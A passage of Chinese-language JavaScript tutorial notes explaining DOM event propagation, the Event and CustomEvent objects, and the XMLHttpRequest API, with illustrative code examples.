    console.log(this.id);
  },
  false
);
```

上面两种写法，点击按钮以后也是输出 `btn`。

### 事件的传播

一个事件发生后，会在子元素和父元素之间传播（propagation）。这种传播分成三个阶段。

* **第一阶段**：从 `window` 对象传导到目标节点（上层传到底层），称为“捕获阶段”（capture phase）。
* **第二阶段**：在目标节点上触发，称为“目标阶段”（target phase）。
* **第三阶段**：从目标节点传导回 `window` 对象（从底层传回上层），称为“冒泡阶段”（bubbling phase）。

这种三阶段的传播模型，使得同一个事件会在多个节点上触发。

```html
<div>
  <p>点击</p>
</div>
```

上面代码中，`<div>` 节点之中有一个 `<p>` 节点。

如果对这两个节点，都设置 `click` 事件的监听函数（每个节点的捕获阶段和冒泡阶段，各设置一个监听函数），共计设置四个监听函数。然后，对 `<p>` 点击，`click` 事件会触发四次。

```js
var phases = {
  1: 'capture',
  2: 'target',
  3: 'bubble'
};

var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', callback, true);
p.addEventListener('click', callback, true);
div.addEventListener('click', callback, false);
p.addEventListener('click', callback, false);

function callback(event) {
  var tag = event.currentTarget.tagName;
  var phase = phases[event.eventPhase];
  console.log("Tag: '" + tag + "'. EventPhase: '" + phase + "'");
}

// 点击以后的结果
// Tag: 'DIV'. EventPhase: 'capture'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'P'. EventPhase: 'target'
// Tag: 'DIV'. EventPhase: 'bubble'
```

上面代码表示，`click` 事件被触发了四次：`<div>` 节点的捕获阶段和冒泡阶段各 1 次，`<p>` 节点的目标阶段触发了 2 次。

1. 捕获阶段：事件从 `<div>` 向 `<p>` 传播时，触发 `<div>` 的 `click` 事件；
2. 目标阶段：事件从 `<div>` 到达 `<p>` 时，触发 `<p>` 的 `click` 事件；
3. 冒泡阶段：事件从 `<p>` 传回 `<div>` 时，再次触发 `<div>` 的 `click` 事件。

其中，`<p>` 节点有两个监听函数（`addEventListener` 方法第三个参数的不同，会导致绑定两个监听函数），因此它们都会因为 `click` 事件触发一次。所以，`<p>` 会在 `target` 阶段有两次输出。

注意，浏览器总是假定 `click` 事件的目标节点，就是点击位置嵌套最深的那个节点（本例是 `<div>` 节点里面的 `<p>` 节点）。所以，`<p>` 节点的捕获阶段和冒泡阶段，都会显示为 `target` 阶段。

事件传播的最上层对象是 `window`，接着依次是 `document`，`html`（`document.documentElement`）和 `body`（`document.body`）。也就是说，上例的事件传播顺序，在捕获阶段依次为 `window`、`document`、`html`、`body`、`div`、`p`，在冒泡阶段依次为 `p`、`div`、`body`、`html`、`document`、`window`。

### 事件的代理

由于事件会在冒泡阶段向上传播到父节点，因此可以把子节点的监听函数定义在父节点上，由父节点的监听函数统一处理多个子元素的事件。这种方法叫做事件的代理（delegation）。

```js
var ul = document.querySelector('ul');

ul.addEventListener('click', function (event) {
  if (event.target.tagName.toLowerCase() === 'li') {
    // some code
  }
});
```

上面代码中，`click` 事件的监听函数定义在 `<ul>` 节点，但是实际上，它处理的是子节点 `<li>` 的 `click` 事件。这样做的好处是，只要定义一个监听函数，就能处理多个子节点的事件，而不用在每个 `<li>` 节点上定义监听函数。而且以后再添加子节点，监听函数依然有效。

如果希望事件到某个节点为止，不再传播，可以使用事件对象的 `stopPropagation` 方法。

```js
// 事件传播到 p 元素后，就不再向下传播了
p.addEventListener('click', function (event) {
  event.stopPropagation();
}, true);

// 事件冒泡到 p 元素后，就不再向上冒泡了
p.addEventListener('click', function (event) {
  event.stopPropagation();
}, false);
```

上面代码中，`stopPropagation` 方法分别在捕获阶段和冒泡阶段，阻止了事件的传播。

但是，`stopPropagation` 方法只会阻止事件的传播，不会阻止该事件触发 `<p>` 节点的其他 `click` 事件的监听函数。也就是说，不是彻底取消 `click` 事件。

```js
p.addEventListener('click', function (event) {
    event.stopPropagation();
    console.log(1);
});

p.addEventListener('click', function(event) {
    // 会触发
    console.log(2);
});
```

上面代码中，`p` 元素绑定了两个 `click` 事件的监听函数。`stopPropagation` 方法只能阻止这个事件的传播，不能取消这个事件，因此，第二个监听函数会触发。输出结果会先是 1，然后是 2。

如果想要彻底取消该事件，不再触发后面所有 `click` 的监听函数，可以使用 `stopImmediatePropagation` 方法。

```js
p.addEventListener('click', function (event) {
  event.stopImmediatePropagation();
  console.log(1);
});

p.addEventListener('click', function(event) {
  // 不会被触发
  console.log(2);
});
```

上面代码中，`stopImmediatePropagation` 方法可以彻底取消这个事件，使得后面绑定的所有 `click` 监听函数都不再触发。所以，只会输出 1，不会输出 2。

## Event 对象

事件发生以后，会产生一个事件对象，作为参数传给监听函数。浏览器原生提供一个 `Event` 对象，所有的事件都是这个对象的实例，或者说继承了 `Event.prototype` 对象。

`Event` 对象本身就是一个构造函数，可以用来生成新的实例。

```js
event = new Event(type, options);
```

`Event` 构造函数接受两个参数。第一个参数 `type` 是字符串，表示事件的名称；第二个参数 `options` 是一个对象，表示事件对象的配置。该对象主要有下面两个属性。

* `bubbles`：布尔值，可选，默认为 `false`，表示事件对象是否冒泡。
* `cancelable`：布尔值，可选，默认为 `false`，表示事件是否可以被取消，即能否用 `Event.preventDefault()` 取消这个事件。一旦事件被取消，就好像从来没有发生过，不会触发浏览器对该事件的默认行为。

```js
var ev = new Event(
    'look',
    {
        'bubbles': true,
        'cancelable': false
    }
);
document.dispatchEvent(ev);
```

上面代码新建一个 `look` 事件实例，然后使用 `dispatchEvent` 方法触发该事件。

注意，如果不是显式指定 `bubbles` 属性为 `true`，生成的事件就只能在“捕获阶段”触发监听函数。

```js
// HTML 代码为
// <div> <p> Hello </p> </div>
var div = document.querySelector('div');
var p = document.querySelector('p');

function callback(event) {
  var tag = event.currentTarget.tagName;
  console.log('Tag: ' + tag); // 没有任何输出
}

div.addEventListener('click', callback, false);

var click = new Event('click');
p.dispatchEvent(click);
```

上面代码中，`p` 元素发出一个 `click` 事件，该事件默认不会冒泡。`div.addEventListener` 方法指定在冒泡阶段监听，因此监听函数不会触发。如果写成 `div.addEventListener('click', callback, true)`，那么在“捕获阶段”可以监听到这个事件。

另一方面，如果这个事件在 `div` 元素上触发。

```js
div.dispatchEvent(click);
```

那么，不管 `div` 元素是在冒泡阶段监听，还是在捕获阶段监听，都会触发监听函数。因为这时 `div` 元素是事件的目标，不存在是否冒泡的问题，`div` 元素总是会接收到事件，因此导致监听函数生效。

### 实例属性

#### Event.bubbles

`Event.bubbles` 属性返回一个布尔值，表示当前事件是否会冒泡。该属性为只读属性，一般用来了解 Event 实例是否可以冒泡。前面说过，除非显式声明，`Event` 构造函数生成的事件，默认是不冒泡的。

#### Event.eventPhase

`Event.eventPhase` 属性返回一个整数常量，表示事件目前所处的阶段。该属性只读。

```js
var phase = event.eventPhase;
```

`Event.eventPhase` 的返回值有四种可能。

* 0，事件目前没有发生。
* 1，事件目前处于捕获阶段，即处于从祖先节点向目标节点的传播过程中。
* 2，事件到达目标节点，即 `Event.target` 属性指向的那个节点。
* 3，事件处于冒泡阶段，即处于从目标节点向祖先节点的反向传播过程中。

#### Event.cancelable

`Event.cancelable` 属性返回一个布尔值，表示事件是否可以取消。该属性为只读属性，一般用来了解 Event 实例的特性。

大多数浏览器的原生事件是可以取消的。比如，取消 `click` 事件，点击链接将无效。但是除非显式声明，`Event` 构造函数生成的事件，默认是不可以取消的。

```js
var evt = new Event('foo');
evt.cancelable  // false
```

当 `Event.cancelable` 属性为 `true` 时，调用 `Event.preventDefault()` 就可以取消这个事件，阻止浏览器对该事件的默认行为。

如果事件不能取消，调用 `Event.preventDefault()` 会没有任何效果。所以使用这个方法之前，最好用 `Event.cancelable` 属性判断一下是否可以取消。

```js
function preventEvent(event) {
  if (event.cancelable) {
    event.preventDefault();
  } else {
    console.warn('This event couldn\'t be canceled.');
    console.dir(event);
  }
}
```

`cancelable: true` 让自定义事件拥有“可被取消”的语义：**监听器可以通过 `preventDefault()` 把事件标记为已取消，从而让 `dispatchEvent()` 返回 false；你再用这个结果去决定是否继续执行某个动作。**

**对自定义事件来说，`cancelable` 的“真正意义”基本就是：让 `preventDefault()` 有效，从而让：**

* `event.defaultPrevented === true`
* `dispatchEvent(event) === false`

然后 **事件发起方（dispatch 的人）用这个结果来决定要不要继续自己的后续逻辑**。

也就是说它提供的是一种“**可否决（veto）机制**”，浏览器不会替你做什么默认行为（因为自定义事件通常压根没默认行为），所以要不要“取消后续动作”完全由你自己写。

典型模式就是：

```js
const e = new CustomEvent('beforeDelete', { cancelable: true, detail: { id } });

if (!el.dispatchEvent(e)) return; // 有人 veto 了
doDelete(id);
```

**细节**：它不影响事件传播、也不阻止监听器执行；那些是 `stopPropagation / stopImmediatePropagation` 的事。

**`CustomEvent` = `Event` + `detail`（自定义数据）**。

最大区别：`detail`

* `new Event(type, options)`：**没有 `detail`**（标准里就不带）
* `new CustomEvent(type, { detail, ...options })`：**专门用来携带自定义数据**

```js
const e1 = new Event('foo');
console.log(e1.detail); // undefined（一般也别指望有）

const e2 = new CustomEvent('foo', { detail: { x: 1 } });
console.log(e2.detail); // { x: 1 }
```

所以你想在事件里传数据，优先用 `CustomEvent`。

**其他行为基本一样**

这几个选项两者都支持（语义相同）：

* `bubbles`
* `cancelable`
* `composed`（是否跨 Shadow DOM 边界）

```js
new Event('x', { bubbles: true, cancelable: true, composed: true })
new CustomEvent('x', { bubbles: true, cancelable: true, composed: true, detail: ... })
```

**CustomEvent 继承了 Event**

```js
e1 instanceof Event        // true
e1 instanceof CustomEvent  // false

e2 instanceof Event        // true（CustomEvent 继承 Event）
e2 instanceof CustomEvent  // true
```

**例子**：点击“删除”按钮前，先发一个可取消的 `before-delete` 自定义事件，让外部有机会拦截（比如弹确认框/权限校验）。

JS（发起方：按钮组件/业务代码）

```js
// <button id="del"> Delete </button>

const btn = document.querySelector('#del');

btn.addEventListener('click', () => {
  // 1) 发一个“删除之前”的事件，允许被取消，并带上要删的 id
  const ev = new CustomEvent('before-delete', {
    bubbles: true,
    cancelable: true,
    detail: { id: 42 }
  });

  // 2) 如果有人 preventDefault() -> dispatchEvent 返回 false -> 直接不删
  if (!btn.dispatchEvent(ev)) {
    console.log('删除被拦截了');
    return;
  }

  // 3) 没人拦截 -> 执行真正的删除逻辑
  console.log('真正执行删除：', 42);
});
```

JS（监听方：外部逻辑决定要不要拦截）

```js
btn.addEventListener('before-delete', (e) => {
  // 这里能拿到自定义数据
  console.log('准备删除 id=', e.detail.id);

  // 举例：给用户一个确认机会
  const ok = confirm(`确定要删除 ${e.detail.id} 吗？`);
  if (!ok) e.preventDefault(); // veto：取消后续删除
});
```

* `before-delete` 事件 **一定会触发**，监听器 **一定会执行**
* 如果监听器里 `preventDefault()`，就会让 `dispatchEvent()` 返回 `false`
* 发起方用返回值决定是否继续执行“真正删除”

这就是 `CustomEvent + cancelable` 最典型、最实战的用法：**“我准备做一件事，你们谁反对？反对就 `preventDefault()`。”**

#### Event.cancelBubble

`Event.cancelBubble` 属性是一个布尔值，如果设为 `true`，相当于执行 `Event.stopPropagation()`，可以阻止事件的传播。

#### event.defaultPrevented

`Event.defaultPrevented` 属性返回一个布尔值，表示该事件是否调用过 `Event.preventDefault` 方法。该属性只读。

```js
if (event.defaultPrevented) {
  console.log('该事件已经取消了');
}
```

#### Event.currentTarget

#### Event.target

事件发生以后，会经过捕获和冒泡两个阶段，依次通过多个 DOM 节点。因此，任意事件都有两个与事件相关的节点，一个是事件的原始触发节点（`Event.target`），另一个是事件当前正在通过的节点（`Event.currentTarget`）。前者通常是后者的后代节点。

`Event.currentTarget`属性返回事件当前所在的节点，即事件当前正在通过的节点，也就是当前正在执行的监听函数所在的那个节点。随着事件的传播，这个属性的值会变。

`Event.target`属性返回原始触发事件的那个节点，即事件最初发生的节点。这个属性不会随着事件的传播而改变。

事件传播过程中，不同节点的监听函数内部的`Event.target`与`Event.currentTarget`属性的值是不一样的。

```js
// HTML 代码为
// <p id="para">Hello <em>World</em></p>
function hide(e) {
  // 不管点击 Hello 或 World，总是返回 true
  console.log(this === e.currentTarget);

  // 点击 Hello，返回 true
  // 点击 World，返回 false
  console.log(this === e.target);
}

document.getElementById('para').addEventListener('click', hide, false);
```

上面代码中，`<em>`是`<p>`的子节点，点击`<em>`或者点击`<p>`，都会导致监听函数执行。这时，`e.target`总是指向原始点击位置的那个节点，而`e.currentTarget`指向事件传播过程中正在经过的那个节点。由于监听函数只有事件经过时才会触发，所以`e.currentTarget`总是等同于监听函数内部的`this`。

#### Event.type

`Event.type`属性返回一个字符串，表示事件类型。事件的类型是在生成事件的时候指定的。该属性只读。

```js
var evt = new Event('foo');
evt.type // "foo"
```

#### Event.timeStamp

`Event.timeStamp`属性返回一个毫秒时间戳，表示事件发生的时间。它是相对于网页加载成功开始计算的。

```js
var evt = new Event('foo');
evt.timeStamp // 3683.6999999995896
```

它的返回值有可能是整数，也有可能是小数（高精度时间戳），取决于浏览器的设置。

下面是一个计算鼠标移动速度的例子，显示每秒移动的像素数量。

```js
var previousX;
var previousY;
var previousT;

window.addEventListener('mousemove', function(event) {
  if (
    previousX !== undefined &&
    previousY !== undefined &&
    previousT !== undefined
  ) {
    var deltaX = event.screenX - previousX;
    var deltaY = event.screenY - previousY;
    var deltaD = Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));

    var deltaT = event.timeStamp - previousT;
    console.log(deltaD / deltaT * 1000);
  }

  previousX = event.screenX;
  previousY = event.screenY;
  previousT = event.timeStamp;
});
```

#### Event.isTrusted

`Event.isTrusted`属性返回一个布尔值，表示该事件是否由真实的用户行为产生。比如，用户点击链接会产生一个`click`事件，该事件是用户产生的；`Event`构造函数生成的事件，则是脚本产生的。

```js
var evt = new Event('foo');
evt.isTrusted // false
```

上面代码中，`evt`对象是脚本产生的，所以`isTrusted`属性返回`false`。

#### Event.detail

`Event.detail`属性只有浏览器的 UI （用户界面）事件才具有。该属性返回一个数值，表示事件的某种信息。具体含义与事件类型相关。比如，对于`click`和`dblclick`事件，`Event.detail`是鼠标按下的次数（`1`表示单击，`2`表示双击，`3`表示三击）；对于鼠标滚轮事件，`Event.detail`是滚轮正向滚动的距离，负值就是负向滚动的距离，返回值总是3的倍数。

```js
// HTML 代码如下
// <p>Hello</p>
function giveDetails(e) {
  console.log(e.detail);
}

document.querySelector('p').onclick = giveDetails;
```

### 实例方法

#### Event.preventDefault()

`Event.preventDefault`方法取消浏览器对当前事件的默认行为。比如点击链接后，浏览器默认会跳转到另一个页面，使用这个方法以后，就不会跳转了；再比如，按一下空格键，页面向下滚动一段距离，使用这个方法以后也不会滚动了。该方法生效的前提是，事件对象的`cancelable`属性为`true`，如果为`false`，调用该方法没有任何效果。

注意，该方法只是取消事件对当前元素的默认影响，不会阻止事件的传播。如果要阻止传播，可以使用`stopPropagation()`或`stopImmediatePropagation()`方法。

```js
// HTML 代码为
// <input type="checkbox" id="my-checkbox" />
var cb = document.getElementById('my-checkbox');

cb.addEventListener(
  'click',
  function (e){ e.preventDefault(); },
  false
);
```

上面代码中，浏览器的默认行为是单击会选中单选框，取消这个行为，就导致无法选中单选框。

利用这个方法，可以为文本输入框设置校验条件。如果用户的输入不符合条件，就无法将字符输入文本框。

```js
// HTML 代码为
// <input type="text" id="my-input" />
var input = document.getElementById('my-input');
input.addEventListener('keypress', checkName, false);

function checkName(e) {
  if (e.charCode < 97 || e.charCode > 122) {
    e.preventDefault();
  }
}
```

上面代码为文本框的`keypress`事件设定监听函数后，将只能输入小写字母，否则输入事件的默认行为（写入文本框）将被取消，导致不能向文本框输入内容。

#### Event.stopPropagation()

`stopPropagation`方法阻止事件在 DOM 中继续传播，防止再触发定义在别的节点上的监听函数，但是不包括在当前节点上其他的事件监听函数。

```js
function stopEvent(e) {
  e.stopPropagation();
}

el.addEventListener('click', stopEvent, false);
```

上面代码中，`click`事件将不会进一步冒泡到`el`节点的父节点。

#### Event.stopImmediatePropagation()

`Event.stopImmediatePropagation`方法阻止同一个事件的其他监听函数被调用，不管监听函数定义在当前节点还是其他节点。也就是说，该方法阻止事件的传播，比`Event.stopPropagation()`更彻底。

如果同一个节点对于同一个事件指定了多个监听函数，这些函数会根据添加的顺序依次调用。只要其中有一个监听函数调用了`Event.stopImmediatePropagation`方法，其他的监听函数就不会再执行了。

```js
function l1(e){
  e.stopImmediatePropagation();
}

function l2(e){
  console.log('hello world');
}

el.addEventListener('click', l1, false);
el.addEventListener('click', l2, false);
```

上面代码在`el`节点上，为`click`事件添加了两个监听函数`l1`和`l2`。由于`l1`调用了`event.stopImmediatePropagation`方法，所以`l2`不会被调用。

#### Event.composedPath()

`Event.composedPath()`返回一个数组，成员是事件的最底层节点和依次冒泡经过的所有上层节点。

```js
// HTML 代码如下
// <div>
//   <p>Hello</p>
// </div>
var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', function (e) {
  console.log(e.composedPath());
}, false);
// [p, div, body, html, document, Window]
```

上面代码中，`click`事件的最底层节点是`p`，向上依次是`div`、`body`、`html`、`document`、`Window`。

---

---
url: /skill/p9cgbsua/index.md
---
# JS 回顾 15
## XMLHttpRequest 对象

浏览器与服务器之间，采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址，或者通过网页表单向服务器提交内容，这时浏览器就会向服务器发出 HTTP 请求。

1999年，微软公司发布 IE 浏览器5.0版，第一次引入新功能：允许 JavaScript 脚本向服务器发起 HTTP 请求。这个功能当时并没有引起注意，直到2004年 Gmail 发布和2005年 Google Map 发布，才引起广泛重视。2005年2月，AJAX 这个词第一次正式提出，它是 Asynchronous JavaScript and XML 的缩写，指的是通过 JavaScript 的异步通信，从服务器获取 XML 文档从中提取数据，再更新当前网页的对应部分，而不用刷新整个网页。后来，AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词，也就是说，只要用脚本发起通信，就可以叫做 AJAX 通信。W3C 也在2006年发布了它的国际标准。

具体来说，AJAX 包括以下几个步骤。

1. 创建 XMLHttpRequest 实例
2. 发出 HTTP 请求
3. 接收服务器传回的数据
4. 更新网页数据

概括起来，就是一句话，AJAX 通过原生的`XMLHttpRequest`对象发出 HTTP 请求，得到服务器返回的数据后，再进行处理。现在，服务器返回的都是 JSON 格式的数据，XML 格式已经过时了，但是 AJAX 这个名字已经成了一个通用名词，字面含义已经消失了。

`XMLHttpRequest`对象是 AJAX 的主要接口，用于浏览器与服务器之间的通信。尽管名字里面有`XML`和`Http`，它实际上可以使用多种协议（比如`file`或`ftp`），发送任何格式的数据（包括字符串和二进制）。

`XMLHttpRequest`本身是一个构造函数，可以使用`new`命令生成实例。它没有任何参数。

```javascript
var xhr = new XMLHttpRequest();
```

一旦新建实例，就可以使用`open()`方法指定建立 HTTP 连接的一些细节。

```javascript
xhr.open('GET', 'http://www.example.com/page.php', true);
```

上面代码指定使用 GET 方法，跟指定的服务器网址建立连接。第三个参数`true`，表示请求是异步的。

然后，指定回调函数，监听通信状态（`readyState`属性）的变化。

```javascript
xhr.onreadystatechange = handleStateChange;

function handleStateChange() {
  // ...
}
```

上面代码中，一旦`XMLHttpRequest`实例的状态发生变化，就会调用监听函数`handleStateChange`

最后使用`send()`方法，实际发出请求。

```javascript
xhr.send(null);
```

上面代码中，`send()`的参数为`null`，表示发送请求的时候，不带有数据体。如果发送的是 POST 请求，这里就需要指定数据体。

一旦拿到服务器返回的数据，AJAX 不会刷新整个网页，而是只更新网页里面的相关部分，从而不打断用户正在做的事情。

注意，AJAX 只能向同源网址（协议、域名、端口都相同）发出 HTTP 请求，如果发出跨域请求，就会报错（详见《同源政策》和《CORS 通信》两章）。

下面是`XMLHttpRequest`对象简单用法的完整例子。

```javascript
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function(){
  // 通信成功时，状态值为4
  if (xhr.readyState === 4){
    if (xhr.status === 200){
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', '/endpoint', true);
xhr.send(null);
```

### 实例属性

#### XMLHttpRequest.readyState

`XMLHttpRequest.readyState`返回一个整数，表示实例对象的当前状态。该属性只读。它可能返回以下值。

* 0，表示 XMLHttpRequest 实例已经生成，但是实例的`open()`方法还没有被调用。
* 1，表示`open()`方法已经调用，但是实例的`send()`方法还没有调用，仍然可以使用实例的`setRequestHeader()`方法，设定 HTTP 请求的头信息。
* 2，表示实例的`send()`方法已经调用，并且服务器返回的头信息和状态码已经收到。
* 3，表示正在接收服务器传来的数据体（body 部分）。这时，如果实例的`responseType`属性等于`text`或者空字符串，`responseText`属性就会包含已经收到的部分信息。
* 4，表示服务器返回的数据已经完全接收，或者本次接收已经失败。

通信过程中，每当实例对象发生状态变化，它的`readyState`属性的值就会改变。这个值每一次变化，都会触发`readyStateChange`事件。

```javascript
var xhr = new XMLHttpRequest();

if (xhr.readyState === 4) {
  // 请求结束，处理服务器返回的数据
} else {
  // 显示提示“加载中……”
}
```

上面代码中，`xhr.readyState`等于`4`时，表明脚本发出的 HTTP 请求已经完成。其他情况，都表示 HTTP 请求还在进行中。

#### XMLHttpRequest.onreadystatechange

`XMLHttpRequest.onreadystatechange`属性指向一个监听函数。`readystatechange`事件发生时（实例的`readyState`属性变化），就会执行这个属性。

另外，如果使用实例的`abort()`方法，终止 XMLHttpRequest 请求，也会造成`readyState`属性变化，导致调用`XMLHttpRequest.onreadystatechange`属性。

下面是一个例子。

```javascript
var xhr = new XMLHttpRequest();
xhr.open( 'GET', 'http://example.com' , true );
xhr.onreadystatechange = function () {
  if (xhr.readyState !== 4 || xhr.status !== 200) {
    return;
  }
  console.log(xhr.responseText);
};
xhr.send();
```

#### XMLHttpRequest.response

`XMLHttpRequest.response`属性表示服务器返回的数据体（即 HTTP 回应的 body 部分）。它可能是任何数据类型，比如字符串、对象、二进制对象等等，具体的类型由`XMLHttpRequest.responseType`属性决定。该属性只读。

如果本次请求没有成功或者数据不完整，该属性等于`null`。但是，如果`responseType`属性等于`text`或空字符串，在请求没有结束之前（`readyState`等于3的阶段），`response`属性包含服务器已经返回的部分数据。

```javascript
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function () {
  if (xhr.readyState === 4) {
    handler(xhr.response);
  }
}
```

#### XMLHttpRequest.responseType

`XMLHttpRequest.responseType`属性是一个字符串，表示服务器返回数据的类型。这个属性是可写的，可以在调用`open()`方法之后、调用`send()`方法之前，设置这个属性的值，告诉浏览器如何解读返回的数据。如果`responseType`设为空字符串，就等同于默认值`text`。

`XMLHttpRequest.responseType`属性可以等于以下值。

* ""（空字符串）：等同于`text`，表示服务器返回文本数据。
* "arraybuffer"：ArrayBuffer 对象，表示服务器返回二进制数组。
* "blob"：Blob 对象，表示服务器返回二进制对象。
* "document"：Document 对象，表示服务器返回一个文档对象。
* "json"：JSON 对象。
* "text"：字符串。

上面几种类型之中，`text`类型适合大多数情况，而且直接处理文本也比较方便。`document`类型适合返回 HTML / XML 文档的情况，这意味着，对于那些打开 CORS 的网站，可以直接用 Ajax 抓取网页，然后不用解析 HTML 字符串，直接对抓取回来的数据进行 DOM 操作。`blob`类型适合读取二进制数据，比如图片文件。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'blob';

xhr.onload = function(e) {
  if (this.status === 200) {
    var blob = new Blob([xhr.response], {type: 'image/png'});
    // 或者
    var blob = xhr.response;
  }
};

xhr.send();
```

如果将这个属性设为`ArrayBuffer`，就可以按照数组的方式处理二进制数据。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'arraybuffer';

xhr.onload = function(e) {
  var uInt8Array = new Uint8Array(this.response);
  for (var i = 0, len = uInt8Array.length; i < len; ++i) {
    // var byte = uInt8Array[i];
  }
};

xhr.send();
```

如果将这个属性设为`json`，浏览器就会自动对返回数据调用`JSON.parse()`方法。也就是说，从`xhr.response`属性（注意，不是`xhr.responseText`属性）得到的不是文本，而是一个 JSON 对象。

#### XMLHttpRequest.responseText

`XMLHttpRequest.responseText`属性返回从服务器接收到的字符串，该属性为只读。只有 HTTP 请求完成接收以后，该属性才会包含完整的数据。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'text';
xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseText);
  }
};

xhr.send(null);
```

#### XMLHttpRequest.responseXML

`XMLHttpRequest.responseXML`属性返回从服务器接收到的 HTML 或 XML 文档对象，该属性为只读。如果本次请求没有成功，或者收到的数据不能被解析为 XML 或 HTML，该属性等于`null`。

该属性生效的前提是 HTTP 回应的`Content-Type`头信息等于`text/xml`或`application/xml`。这要求在发送请求前，`XMLHttpRequest.responseType`属性要设为`document`。如果 HTTP 回应的`Content-Type`头信息不等于`text/xml`和`application/xml`，但是想从`responseXML`拿到数据（即把数据按照 DOM 格式解析），那么需要手动调用`XMLHttpRequest.overrideMimeType()`方法，强制进行 XML 解析。

该属性得到的数据，是直接解析后的文档 DOM 树。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'document';
xhr.overrideMimeType('text/xml');

xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseXML);
  }
};

xhr.send(null);
```

#### XMLHttpRequest.responseURL

`XMLHttpRequest.responseURL`属性是字符串，表示发送数据的服务器的网址。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/test', true);
xhr.onload = function () {
  // 返回 http://example.com/test
  console.log(xhr.responseURL);
};
xhr.send(null);
```

注意，这个属性的值与`open()`方法指定的请求网址不一定相同。如果服务器端发生跳转，这个属性返回最后实际返回数据的网址。另外，如果原始 URL 包括锚点（fragment），该属性会把锚点剥离。

#### XMLHttpRequest.status

#### XMLHttpRequest.statusText

`XMLHttpRequest.status`属性返回一个整数，表示服务器回应的 HTTP 状态码。一般来说，如果通信成功的话，这个状态码是200；如果服务器没有返回状态码，那么这个属性默认是200。请求发出之前，该属性为`0`。该属性只读。

* 200, OK，访问正常
* 301, Moved Permanently，永久移动
* 302, Moved temporarily，暂时移动
* 304, Not Modified，未修改
* 307, Temporary Redirect，暂时重定向
* 401, Unauthorized，未授权
* 403, Forbidden，禁止访问
* 404, Not Found，未发现指定网址
* 500, Internal Server Error，服务器发生错误

基本上，只有2xx和304的状态码，表示服务器返回是正常状态。

```javascript
if (xhr.readyState === 4) {
  if ( (xhr.status >= 200 && xhr.status < 300)
    || (xhr.status === 304) ) {
    // 处理服务器的返回数据
  } else {
    // 出错
  }
}
```

`XMLHttpRequest.statusText`属性返回一个字符串，表示服务器发送的状态提示。不同于`status`属性，该属性包含整个状态信息，比如“OK”和“Not Found”。在请求发送之前（即调用`open()`方法之前），该属性的值是空字符串；如果服务器没有返回状态提示，该属性的值默认为“OK”。该属性为只读属性。

#### XMLHttpRequest.timeout

#### XMLHttpRequestEventTarget.ontimeout

`XMLHttpRequest.timeout`属性返回一个整数，表示多少毫秒后，如果请求仍然没有得到结果，就会自动终止。如果该属性等于0，就表示没有时间限制。

`XMLHttpRequestEventTarget.ontimeout`属性用于设置一个监听函数，如果发生 timeout 事件，就会执行这个监听函数。

下面是一个例子。

```javascript
var xhr = new XMLHttpRequest();
var url = '/server';

xhr.ontimeout = function () {
  console.error('The request for ' + url + ' timed out.');
};

xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 处理服务器返回的数据
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.open('GET', url, true);
// 指定 10 秒钟超时
xhr.timeout = 10 * 1000;
xhr.send(null);
```

### 事件监听属性

XMLHttpRequest 对象可以对以下事件指定监听函数。

* XMLHttpRequest.onloadstart：loadstart 事件（HTTP 请求发出）的监听函数
* XMLHttpRequest.onprogress：progress事件（正在发送和加载数据）的监听函数
* XMLHttpRequest.onabort：abort 事件（请求中止，比如用户调用了`abort()`方法）的监听函数
* XMLHttpRequest.onerror：error 事件（请求失败）的监听函数
* XMLHttpRequest.onload：load 事件（请求成功完成）的监听函数
* XMLHttpRequest.ontimeout：timeout 事件（用户指定的时限超过了，请求还未完成）的监听函数
* XMLHttpRequest.onloadend：loadend 事件（请求完成，不管成功或失败）的监听函数

下面是一个例子。

```javascript
xhr.onload = function() {
 var responseText = xhr.responseText;
 console.log(responseText);
 // process the response.
};

xhr.onabort = function () {
  console.log('The request was aborted');
};

xhr.onprogress = function (event) {
  console.log(event.loaded);
  console.log(event.total);
};

xhr.onerror = function() {
  console.log('There was an error!');
};
```

`progress`事件的监听函数有一个事件对象参数，该对象有三个属性：`loaded`属性返回已经传输的数据量，`total`属性返回总的数据量，`lengthComputable`属性返回一个布尔值，表示加载的进度是否可以计算。所有这些监听函数里面，只有`progress`事件的监听函数有参数，其他函数都没有参数。

注意，如果发生网络错误（比如服务器无法连通），`onerror`事件无法获取报错信息。也就是说，可能没有错误对象，所以这样只能显示报错的提示。

#### XMLHttpRequest.withCredentials

`XMLHttpRequest.withCredentials`属性是一个布尔值，表示跨域请求时，用户信息（比如 Cookie 和认证的 HTTP 头信息）是否会包含在请求之中，默认为`false`，即向`example.com`发出跨域请求时，不会发送`example.com`设置在本机上的 Cookie（如果有的话）。

如果需要跨域 AJAX 请求发送 Cookie，需要`withCredentials`属性设为`true`。注意，同源的请求不需要设置这个属性。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

为了让这个属性生效，服务器必须显式返回`Access-Control-Allow-Credentials`这个头信息。

```javascript
Access-Control-Allow-Credentials: true
```

